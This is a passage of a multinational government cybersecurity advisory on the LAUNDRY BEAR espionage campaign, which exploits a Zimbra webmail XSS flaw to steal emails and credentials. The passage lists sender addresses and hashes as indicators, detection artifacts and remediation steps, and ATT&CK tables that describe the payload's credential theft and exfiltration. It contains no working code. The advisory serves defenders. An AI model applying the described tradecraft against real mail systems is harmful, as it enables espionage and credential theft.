<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
